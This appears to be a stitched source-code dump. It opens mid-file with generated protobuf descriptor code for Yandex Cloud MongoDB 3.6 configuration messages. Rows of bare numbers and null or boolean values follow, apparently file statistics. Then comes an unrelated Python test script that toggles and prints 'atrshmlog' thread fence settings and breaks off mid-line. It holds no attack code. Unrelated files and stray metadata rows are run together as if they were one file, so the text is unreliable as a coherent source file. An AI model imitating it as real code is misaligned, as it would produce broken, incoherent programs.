file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='max_incoming_connections', full_name='yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6.Network.max_incoming_connections', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=_b('\372\3071\01010-16384'), file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1507, serialized_end=1593, ) _MONGOCFGCONFIG3_6 = _descriptor.Descriptor( name='MongoCfgConfig3_6', full_name='yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='storage', full_name='yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6.storage', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='operation_profiling', full_name='yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6.operation_profiling', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='net', full_name='yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6.net', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[_MONGOCFGCONFIG3_6_STORAGE, _MONGOCFGCONFIG3_6_OPERATIONPROFILING, _MONGOCFGCONFIG3_6_NETWORK, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1596, serialized_end=2504, ) _MONGOSCONFIG3_6_NETWORK = _descriptor.Descriptor( name='Network', full_name='yandex.cloud.mdb.mongodb.v1.config.MongosConfig3_6.Network', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='max_incoming_connections', full_name='yandex.cloud.mdb.mongodb.v1.config.MongosConfig3_6.Network.max_incoming_connections', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=_b('\372\3071\01010-16384'), file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1507, serialized_end=1593, ) _MONGOSCONFIG3_6 = _descriptor.Descriptor( name='MongosConfig3_6', full_name='yandex.cloud.mdb.mongodb.v1.config.MongosConfig3_6', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='net', full_name='yandex.cloud.mdb.mongodb.v1.config.MongosConfig3_6.net', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[_MONGOSCONFIG3_6_NETWORK, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=2507, serialized_end=2686, ) _MONGODCONFIGSET3_6 = _descriptor.Descriptor( name='MongodConfigSet3_6', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfigSet3_6', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='effective_config', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfigSet3_6.effective_config', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='user_config', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfigSet3_6.user_config', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='default_config', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfigSet3_6.default_config', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=2689, serialized_end=2939, ) _MONGOCFGCONFIGSET3_6 = _descriptor.Descriptor( name='MongoCfgConfigSet3_6', full_name='yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfigSet3_6', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='effective_config', full_name='yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfigSet3_6.effective_config', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='user_config', full_name='yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfigSet3_6.user_config', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='default_config', full_name='yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfigSet3_6.default_config', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=2942, serialized_end=3200, ) _MONGOSCONFIGSET3_6 = _descriptor.Descriptor( name='MongosConfigSet3_6', full_name='yandex.cloud.mdb.mongodb.v1.config.MongosConfigSet3_6', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='effective_config', full_name='yandex.cloud.mdb.mongodb.v1.config.MongosConfigSet3_6.effective_config', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='user_config', full_name='yandex.cloud.mdb.mongodb.v1.config.MongosConfigSet3_6.user_config', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='default_config', full_name='yandex.cloud.mdb.mongodb.v1.config.MongosConfigSet3_6.default_config', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=3203, serialized_end=3453, ) _MONGODCONFIG3_6_STORAGE_WIREDTIGER_ENGINECONFIG.fields_by_name['cache_size_gb'].message_type = google_dot_protobuf_dot_wrappers__pb2._DOUBLEVALUE _MONGODCONFIG3_6_STORAGE_WIREDTIGER_ENGINECONFIG.containing_type = _MONGODCONFIG3_6_STORAGE_WIREDTIGER _MONGODCONFIG3_6_STORAGE_WIREDTIGER_COLLECTIONCONFIG.fields_by_name['block_compressor'].enum_type = _MONGODCONFIG3_6_STORAGE_WIREDTIGER_COLLECTIONCONFIG_COMPRESSOR _MONGODCONFIG3_6_STORAGE_WIREDTIGER_COLLECTIONCONFIG.containing_type = _MONGODCONFIG3_6_STORAGE_WIREDTIGER _MONGODCONFIG3_6_STORAGE_WIREDTIGER_COLLECTIONCONFIG_COMPRESSOR.containing_type = _MONGODCONFIG3_6_STORAGE_WIREDTIGER_COLLECTIONCONFIG _MONGODCONFIG3_6_STORAGE_WIREDTIGER.fields_by_name['engine_config'].message_type = _MONGODCONFIG3_6_STORAGE_WIREDTIGER_ENGINECONFIG _MONGODCONFIG3_6_STORAGE_WIREDTIGER.fields_by_name['collection_config'].message_type = _MONGODCONFIG3_6_STORAGE_WIREDTIGER_COLLECTIONCONFIG _MONGODCONFIG3_6_STORAGE_WIREDTIGER.containing_type = _MONGODCONFIG3_6_STORAGE _MONGODCONFIG3_6_STORAGE_JOURNAL.fields_by_name['enabled'].message_type = google_dot_protobuf_dot_wrappers__pb2._BOOLVALUE _MONGODCONFIG3_6_STORAGE_JOURNAL.fields_by_name['commit_interval'].message_type = google_dot_protobuf_dot_wrappers__pb2._INT64VALUE _MONGODCONFIG3_6_STORAGE_JOURNAL.containing_type = _MONGODCONFIG3_6_STORAGE _MONGODCONFIG3_6_STORAGE.fields_by_name['wired_tiger'].message_type = _MONGODCONFIG3_6_STORAGE_WIREDTIGER _MONGODCONFIG3_6_STORAGE.fields_by_name['journal'].message_type = _MONGODCONFIG3_6_STORAGE_JOURNAL _MONGODCONFIG3_6_STORAGE.containing_type = _MONGODCONFIG3_6 _MONGODCONFIG3_6_OPERATIONPROFILING.fields_by_name['mode'].enum_type = _MONGODCONFIG3_6_OPERATIONPROFILING_MODE _MONGODCONFIG3_6_OPERATIONPROFILING.fields_by_name['slow_op_threshold'].message_type = google_dot_protobuf_dot_wrappers__pb2._INT64VALUE _MONGODCONFIG3_6_OPERATIONPROFILING.containing_type = _MONGODCONFIG3_6 _MONGODCONFIG3_6_OPERATIONPROFILING_MODE.containing_type = _MONGODCONFIG3_6_OPERATIONPROFILING _MONGODCONFIG3_6_NETWORK.fields_by_name['max_incoming_connections'].message_type = google_dot_protobuf_dot_wrappers__pb2._INT64VALUE _MONGODCONFIG3_6_NETWORK.containing_type = _MONGODCONFIG3_6 _MONGODCONFIG3_6.fields_by_name['storage'].message_type = _MONGODCONFIG3_6_STORAGE _MONGODCONFIG3_6.fields_by_name['operation_profiling'].message_type = _MONGODCONFIG3_6_OPERATIONPROFILING _MONGODCONFIG3_6.fields_by_name['net'].message_type = _MONGODCONFIG3_6_NETWORK _MONGOCFGCONFIG3_6_STORAGE_WIREDTIGER_ENGINECONFIG.fields_by_name['cache_size_gb'].message_type = google_dot_protobuf_dot_wrappers__pb2._DOUBLEVALUE _MONGOCFGCONFIG3_6_STORAGE_WIREDTIGER_ENGINECONFIG.containing_type = _MONGOCFGCONFIG3_6_STORAGE_WIREDTIGER _MONGOCFGCONFIG3_6_STORAGE_WIREDTIGER.fields_by_name['engine_config'].message_type = _MONGOCFGCONFIG3_6_STORAGE_WIREDTIGER_ENGINECONFIG _MONGOCFGCONFIG3_6_STORAGE_WIREDTIGER.containing_type = _MONGOCFGCONFIG3_6_STORAGE _MONGOCFGCONFIG3_6_STORAGE.fields_by_name['wired_tiger'].message_type = _MONGOCFGCONFIG3_6_STORAGE_WIREDTIGER _MONGOCFGCONFIG3_6_STORAGE.containing_type = _MONGOCFGCONFIG3_6 _MONGOCFGCONFIG3_6_OPERATIONPROFILING.fields_by_name['mode'].enum_type = _MONGOCFGCONFIG3_6_OPERATIONPROFILING_MODE _MONGOCFGCONFIG3_6_OPERATIONPROFILING.fields_by_name['slow_op_threshold'].message_type = google_dot_protobuf_dot_wrappers__pb2._INT64VALUE _MONGOCFGCONFIG3_6_OPERATIONPROFILING.containing_type = _MONGOCFGCONFIG3_6 _MONGOCFGCONFIG3_6_OPERATIONPROFILING_MODE.containing_type = _MONGOCFGCONFIG3_6_OPERATIONPROFILING _MONGOCFGCONFIG3_6_NETWORK.fields_by_name['max_incoming_connections'].message_type = google_dot_protobuf_dot_wrappers__pb2._INT64VALUE _MONGOCFGCONFIG3_6_NETWORK.containing_type = _MONGOCFGCONFIG3_6 _MONGOCFGCONFIG3_6.fields_by_name['storage'].message_type = _MONGOCFGCONFIG3_6_STORAGE _MONGOCFGCONFIG3_6.fields_by_name['operation_profiling'].message_type = _MONGOCFGCONFIG3_6_OPERATIONPROFILING _MONGOCFGCONFIG3_6.fields_by_name['net'].message_type = _MONGOCFGCONFIG3_6_NETWORK _MONGOSCONFIG3_6_NETWORK.fields_by_name['max_incoming_connections'].message_type = google_dot_protobuf_dot_wrappers__pb2._INT64VALUE _MONGOSCONFIG3_6_NETWORK.containing_type = _MONGOSCONFIG3_6 _MONGOSCONFIG3_6.fields_by_name['net'].message_type = _MONGOSCONFIG3_6_NETWORK _MONGODCONFIGSET3_6.fields_by_name['effective_config'].message_type = _MONGODCONFIG3_6 _MONGODCONFIGSET3_6.fields_by_name['user_config'].message_type = _MONGODCONFIG3_6 _MONGODCONFIGSET3_6.fields_by_name['default_config'].message_type = _MONGODCONFIG3_6 _MONGOCFGCONFIGSET3_6.fields_by_name['effective_config'].message_type = _MONGOCFGCONFIG3_6 _MONGOCFGCONFIGSET3_6.fields_by_name['user_config'].message_type = _MONGOCFGCONFIG3_6 _MONGOCFGCONFIGSET3_6.fields_by_name['default_config'].message_type = _MONGOCFGCONFIG3_6 _MONGOSCONFIGSET3_6.fields_by_name['effective_config'].message_type = _MONGOSCONFIG3_6 _MONGOSCONFIGSET3_6.fields_by_name['user_config'].message_type = _MONGOSCONFIG3_6 _MONGOSCONFIGSET3_6.fields_by_name['default_config'].message_type = _MONGOSCONFIG3_6 DESCRIPTOR.message_types_by_name['MongodConfig3_6'] = _MONGODCONFIG3_6 DESCRIPTOR.message_types_by_name['MongoCfgConfig3_6'] = _MONGOCFGCONFIG3_6 DESCRIPTOR.message_types_by_name['MongosConfig3_6'] = _MONGOSCONFIG3_6 DESCRIPTOR.message_types_by_name['MongodConfigSet3_6'] = _MONGODCONFIGSET3_6 DESCRIPTOR.message_types_by_name['MongoCfgConfigSet3_6'] = _MONGOCFGCONFIGSET3_6 DESCRIPTOR.message_types_by_name['MongosConfigSet3_6'] = _MONGOSCONFIGSET3_6 _sym_db.RegisterFileDescriptor(DESCRIPTOR) MongodConfig3_6 = _reflection.GeneratedProtocolMessageType('MongodConfig3_6', (_message.Message,), dict( Storage = _reflection.GeneratedProtocolMessageType('Storage', (_message.Message,), dict( WiredTiger = _reflection.GeneratedProtocolMessageType('WiredTiger', (_message.Message,), dict( EngineConfig = _reflection.GeneratedProtocolMessageType('EngineConfig', (_message.Message,), dict( DESCRIPTOR = _MONGODCONFIG3_6_STORAGE_WIREDTIGER_ENGINECONFIG, __module__ = 'yandex.cloud.mdb.mongodb.v1.config.mongodb3_6_pb2' # @@protoc_insertion_point(class_scope:yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Storage.WiredTiger.EngineConfig) )) , CollectionConfig = _reflection.GeneratedProtocolMessageType('CollectionConfig', (_message.Message,), dict( DESCRIPTOR = _MONGODCONFIG3_6_STORAGE_WIREDTIGER_COLLECTIONCONFIG, __module__ = 'yandex.cloud.mdb.mongodb.v1.config.mongodb3_6_pb2' # @@protoc_insertion_point(class_scope:yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Storage.WiredTiger.CollectionConfig) )) , DESCRIPTOR = _MONGODCONFIG3_6_STORAGE_WIREDTIGER, __module__ = 'yandex.cloud.mdb.mongodb.v1.config.mongodb3_6_pb2' # @@protoc_insertion_point(class_scope:yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Storage.WiredTiger) )) , Journal = _reflection.GeneratedProtocolMessageType('Journal', (_message.Message,), dict( DESCRIPTOR = _MONGODCONFIG3_6_STORAGE_JOURNAL, __module__ = 'yandex.cloud.mdb.mongodb.v1.config.mongodb3_6_pb2' # @@protoc_insertion_point(class_scope:yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Storage.Journal) )) , DESCRIPTOR = _MONGODCONFIG3_6_STORAGE, __module__ = 'yandex.cloud.mdb.mongodb.v1.config.mongodb3_6_pb2' # @@protoc_insertion_point(class_scope:yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Storage) )) , OperationProfiling = _reflection.GeneratedProtocolMessageType('OperationProfiling', (_message.Message,), dict( DESCRIPTOR = _MONGODCONFIG3_6_OPERATIONPROFILING, __module__ = 'yandex.cloud.mdb.mongodb.v1.config.mongodb3_6_pb2' # @@protoc_insertion_point(class_scope:yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.OperationProfiling) )) , Network = _reflection.GeneratedProtocolMessageType('Network', (_message.Message,), dict( DESCRIPTOR = _MONGODCONFIG3_6_NETWORK, __module__ = 'yandex.cloud.mdb.mongodb.v1.config.mongodb3_6_pb2' # @@protoc_insertion_point(class_scope:yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Network) )) , DESCRIPTOR = _MONGODCONFIG3_6, __module__ = 'yandex.cloud.mdb.mongodb.v1.config.mongodb3_6_pb2' # @@protoc_insertion_point(class_scope:yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6) )) _sym_db.RegisterMessage(MongodConfig3_6) _sym_db.RegisterMessage(MongodConfig3_6.Storage) _sym_db.RegisterMessage(MongodConfig3_6.Storage.WiredTiger) _sym_db.RegisterMessage(MongodConfig3_6.Storage.WiredTiger.EngineConfig) _sym_db.RegisterMessage(MongodConfig3_6.Storage.WiredTiger.CollectionConfig) _sym_db.RegisterMessage(MongodConfig3_6.Storage.Journal) _sym_db.RegisterMessage(MongodConfig3_6.OperationProfiling) _sym_db.RegisterMessage(MongodConfig3_6.Network) MongoCfgConfig3_6 = _reflection.GeneratedProtocolMessageType('MongoCfgConfig3_6', (_message.Message,), dict( Storage = _reflection.GeneratedProtocolMessageType('Storage', (_message.Message,), dict( WiredTiger = _reflection.GeneratedProtocolMessageType('WiredTiger', (_message.Message,), dict( EngineConfig = _reflection.GeneratedProtocolMessageType('EngineConfig', (_message.Message,), dict( DESCRIPTOR = _MONGOCFGCONFIG3_6_STORAGE_WIREDTIGER_ENGINECONFIG, __module__ = 'yandex.cloud.mdb.mongodb.v1.config.mongodb3_6_pb2' # @@protoc_insertion_point(class_scope:yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6.Storage.WiredTiger.EngineConfig) )) , DESCRIPTOR = _MONGOCFGCONFIG3_6_STORAGE_WIREDTIGER, __module__ = 'yandex.cloud.mdb.mongodb.v1.config.mongodb3_6_pb2' # @@protoc_insertion_point(class_scope:yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6.Storage.WiredTiger) )) , DESCRIPTOR = _MONGOCFGCONFIG3_6_STORAGE, __module__ = 'yandex.cloud.mdb.mongodb.v1.config.mongodb3_6_pb2' # @@protoc_insertion_point(class_scope:yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6.Storage) )) , OperationProfiling = _reflection.GeneratedProtocolMessageType('OperationProfiling', (_message.Message,), dict( DESCRIPTOR = _MONGOCFGCONFIG3_6_OPERATIONPROFILING, __module__ = 'yandex.cloud.mdb.mongodb.v1.config.mongodb3_6_pb2' # @@protoc_insertion_point(class_scope:yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6.OperationProfiling) )) , Network = _reflection.GeneratedProtocolMessageType('Network', (_message.Message,), dict( DESCRIPTOR = _MONGOCFGCONFIG3_6_NETWORK, __module__ = 'yandex.cloud.mdb.mongodb.v1.config.mongodb3_6_pb2' # @@protoc_insertion_point(class_scope:yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6.Network) )) , DESCRIPTOR = _MONGOCFGCONFIG3_6, __module__ = 'yandex.cloud.mdb.mongodb.v1.config.mongodb3_6_pb2' # @@protoc_insertion_point(class_scope:yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6) )) _sym_db.RegisterMessage(MongoCfgConfig3_6) _sym_db.RegisterMessage(MongoCfgConfig3_6.Storage) _sym_db.RegisterMessage(MongoCfgConfig3_6.Storage.WiredTiger) _sym_db.RegisterMessage(MongoCfgConfig3_6.Storage.WiredTiger.EngineConfig) _sym_db.RegisterMessage(MongoCfgConfig3_6.OperationProfiling) _sym_db.RegisterMessage(MongoCfgConfig3_6.Network) MongosConfig3_6 = _reflection.GeneratedProtocolMessageType('MongosConfig3_6', (_message.Message,), dict( Network = _reflection.GeneratedProtocolMessageType('Network', (_message.Message,), dict( DESCRIPTOR = _MONGOSCONFIG3_6_NETWORK, __module__ = 'yandex.cloud.mdb.mongodb.v1.config.mongodb3_6_pb2' # @@protoc_insertion_point(class_scope:yandex.cloud.mdb.mongodb.v1.config.MongosConfig3_6.Network) )) , DESCRIPTOR = _MONGOSCONFIG3_6, __module__ = 'yandex.cloud.mdb.mongodb.v1.config.mongodb3_6_pb2' # @@protoc_insertion_point(class_scope:yandex.cloud.mdb.mongodb.v1.config.MongosConfig3_6) )) _sym_db.RegisterMessage(MongosConfig3_6) _sym_db.RegisterMessage(MongosConfig3_6.Network) MongodConfigSet3_6 = _reflection.GeneratedProtocolMessageType('MongodConfigSet3_6', (_message.Message,), dict( DESCRIPTOR = _MONGODCONFIGSET3_6, __module__ = 'yandex.cloud.mdb.mongodb.v1.config.mongodb3_6_pb2' # @@protoc_insertion_point(class_scope:yandex.cloud.mdb.mongodb.v1.config.MongodConfigSet3_6) )) _sym_db.RegisterMessage(MongodConfigSet3_6) MongoCfgConfigSet3_6 = _reflection.GeneratedProtocolMessageType('MongoCfgConfigSet3_6', (_message.Message,), dict( DESCRIPTOR = _MONGOCFGCONFIGSET3_6, __module__ = 'yandex.cloud.mdb.mongodb.v1.config.mongodb3_6_pb2' # @@protoc_insertion_point(class_scope:yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfigSet3_6) )) _sym_db.RegisterMessage(MongoCfgConfigSet3_6) MongosConfigSet3_6 = _reflection.GeneratedProtocolMessageType('MongosConfigSet3_6', (_message.Message,), dict( DESCRIPTOR = _MONGOSCONFIGSET3_6, __module__ = 'yandex.cloud.mdb.mongodb.v1.config.mongodb3_6_pb2' # @@protoc_insertion_point(class_scope:yandex.cloud.mdb.mongodb.v1.config.MongosConfigSet3_6) )) _sym_db.RegisterMessage(MongosConfigSet3_6) DESCRIPTOR._options = None _MONGODCONFIG3_6_STORAGE_JOURNAL.fields_by_name['commit_interval']._options = None _MONGODCONFIG3_6_OPERATIONPROFILING.fields_by_name['slow_op_threshold']._options = None _MONGODCONFIG3_6_NETWORK.fields_by_name['max_incoming_connections']._options = None _MONGOCFGCONFIG3_6_OPERATIONPROFILING.fields_by_name['slow_op_threshold']._options = None _MONGOCFGCONFIG3_6_NETWORK.fields_by_name['max_incoming_connections']._options = None _MONGOSCONFIG3_6_NETWORK.fields_by_name['max_incoming_connections']._options = None # @@protoc_insertion_point(module_scope)
45.352016
5,027
0.783492
5,785
46,123
5.901988
0.052204
0.031866
0.055355
0.062736
0.899394
0.869021
0.82872
0.791993
0.759951
0.739068
0
0.053436
0.102097
46,123
1,016
5,028
45.396654
0.770995
0.046289
0
0.693048
1
0.006417
0.273133
0.235465
0
0
0
0
0
1
0
false
0
0.007487
0
0.007487
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
20b685f5a62f26b7aebb1dedb6423e34521e1a47
103
py
Python
exkaldi/lm/__init__.py
wangyu09/exkaldi
d1cc639bc43d272de5dbc8dd382c155e4246d3a9
[ "Apache-2.0" ]
33
2019-12-07T01:34:14.000Z
2021-12-29T01:55:29.000Z
exkaldi/lm/__init__.py
ikou-austin/exkaldi
437dd8a121baf8e682850374df3eade5ae53fda4
[ "Apache-2.0" ]
13
2020-11-10T07:47:49.000Z
2021-12-08T19:33:42.000Z
exkaldi/lm/__init__.py
ikou-austin/exkaldi
437dd8a121baf8e682850374df3eade5ae53fda4
[ "Apache-2.0" ]
7
2020-01-07T05:06:00.000Z
2021-07-16T21:44:09.000Z
from __future__ import absolute_import from exkaldi.lm import lm from exkaldi.lm.lm import load_ngrams
25.75
38
0.854369
17
103
4.823529
0.470588
0.268293
0.317073
0
0
0
0
0
0
0
0
0
0.116505
103
4
39
25.75
0.901099
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
20e3bde15c1e43f3dc2bfaa8a976f7d089f67e1f
5,056
py
Python
python/src/tests/t_fence.py
atrsoftgmbh/atrshmlog
4ca1a2cc6ff26890a02d74db378e597353f197d3
[ "Apache-2.0" ]
null
null
null
python/src/tests/t_fence.py
atrsoftgmbh/atrshmlog
4ca1a2cc6ff26890a02d74db378e597353f197d3
[ "Apache-2.0" ]
null
null
null
python/src/tests/t_fence.py
atrsoftgmbh/atrshmlog
4ca1a2cc6ff26890a02d74db378e597353f197d3
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python3 # # Id: # # We test a bit of the atrshmlog here. # # This is for the first starter, so only the basic things. import sys import atrshmlog result = atrshmlog.attach() f = atrshmlog.get_thread_fence_1() print('fence : ' + str(f) + ' : ') old = atrshmlog.set_thread_fence_1(1) print('fence : ' + str(old) + ' : ') f = atrshmlog.get_thread_fence_1() print('fence : ' + str(f) + ' : ') old = atrshmlog.set_thread_fence_1(0) print('fence : ' + str(old) + ' : ') f = atrshmlog.get_thread_fence_1() print('fence : ' + str(f) + ' : ') f = atrshmlog.get_thread_fence_2() print('fence : ' + str(f) + ' : ') old = atrshmlog.set_thread_fence_2(1) print('fence : ' + str(old) + ' : ') f = atrshmlog.get_thread_fence_2() print('fence : ' + str(f) + ' : ') old = atrshmlog.set_thread_fence_2(0) print('fence : ' + str(old) + ' : ') f = atrshmlog.get_thread_fence_2() print('fence : ' + str(f) + ' : ') f = atrshmlog.get_thread_fence_3() print('fence : ' + str(f) + ' : ') old = atrshmlog.set_thread_fence_3(1) print('fence : ' + str(old) + ' : ') f = atrshmlog.get_thread_fence_3() print('fence : ' + str(f) + ' : ') old = atrshmlog.set_thread_fence_3(0) print('fence : ' + str(old) + ' : ') f = atrshmlog.get_thread_fence_3() print('fence : ' + str(f) + ' : ') f = atrshmlog.get_thread_fence_4() print('fence : ' + str(f) + ' : ') old = atrshmlog.set_thread_fence_4(1) print('fence : ' + str(old) + ' : ') f = atrshmlog.get_thread_fence_4() print('fence : ' + str(f) + ' : ') old = atrshmlog.set_thread_fence_4(0) print('fence : ' + str(old) + ' : ') f = atrshmlog.get_thread_fence_4() print('fence : ' + str(f) + ' : ') f = atrshmlog.get_thread_fence_5() print('fence : ' + str(f) + ' : ') old = atrshmlog.set_thread_fence_5(1) print('fence : ' + str(old) + ' : ') f = atrshmlog.get_thread_fence_5() print('fence : ' + str(f) + ' : ') old = atrshmlog.set_thread_fence_5(0) print('fence : ' + str(old) + ' : ') f = atrshmlog.get_thread_fence_5() print('fence : ' + str(f) + ' : ') f = atrshmlog.get_thread_fence_6() print('fence : ' + str(f) + ' : ') old = atrshmlog.set_thread_fence_6(1) print('fence : ' + str(old) + ' : ') f = atrshmlog.get_thread_fence_6() print('fence : ' + str(f) + ' : ') old = atrshmlog.set_thread_fence_6(0) print('fence : ' + str(old) + ' : ') f = atrshmlog.get_thread_fence_6() print('fence : ' + str(f) + ' : ') f = atrshmlog.get_thread_fence_7() print('fence : ' + str(f) + ' : ') old = atrshmlog.set_thread_fence_7(1) print('fence : ' + str(old) + ' : ') f = atrshmlog.get_thread_fence_7() print('fence : ' + str(f) + ' : ') old = atrshmlog.set_thread_fence_7(0) print('fence : ' + str(old) + ' : ') f = atrshmlog.get_thread_fence_7() print('fence : ' + str(f) + ' : ') f = atrshmlog.get_thread_fence_8() print('fence : ' + str(f) + ' : ') old = atrshmlog.set_thread_fence_8(1) print('fence : ' + str(old) + ' : ') f = atrshmlog.get_thread_fence_8() print('fence : ' + str(f) + ' : ') old = atrshmlog.set_thread_fence_8(0) print('fence : ' + str(old) + ' : ') f = atrshmlog.get_thread_fence_8() print('fence : ' + str(f) + ' : ') f = atrshmlog.get_thread_fence_9() print('fence : ' + str(f) + ' : ') old = atrshmlog.set_thread_fence_9(1) print('fence : ' + str(old) + ' : ') f = atrshmlog.get_thread_fence_9() print('fence : ' + str(f) + ' : ') old = atrshmlog.set_thread_fence_9(0) print('fence : ' + str(old) + ' : ') f = atrshmlog.get_thread_fence_9() print('fence : ' + str(f) + ' : ') f = atrshmlog.get_thread_fence_10() print('fence : ' + str(f) + ' : ') old = atrshmlog.set_thread_fence_10(1) print('fence : ' + str(old) + ' : ') f = atrshmlog.get_thread_fence_10() print('fence : ' + str(f) + ' : ') old = atrshmlog.set_thread_fence_10(0) print('fence : ' + str(old) + ' : ') f = atrshmlog.get_thread_fence_10() print('fence : ' + str(f) + ' : ') f = atrshmlog.get_thread_fence_11() print('fence : ' + str(f) + ' : ') old = atrshmlog.set_thread_fence_11(1) print('fence : ' + str(old) + ' : ') f = atrshmlog.get_thread_fence_11() print('fence : ' + str(f) + ' : ') old = atrshmlog.set_thread_fence_11(0) print('fence : ' + str(old) + ' : ') f = atrshmlog.get_thread_fence_11() print('fence : ' + str(f) + ' : ') f = atrshmlog.get_thread_fence_12() print('fence : ' + str(f) + ' : ') old = atrshmlog.set_thread_fence_12(1) print('fence : ' + str(old) + ' : ') f = atrshmlog.get_thread_fence_12() print('fence : 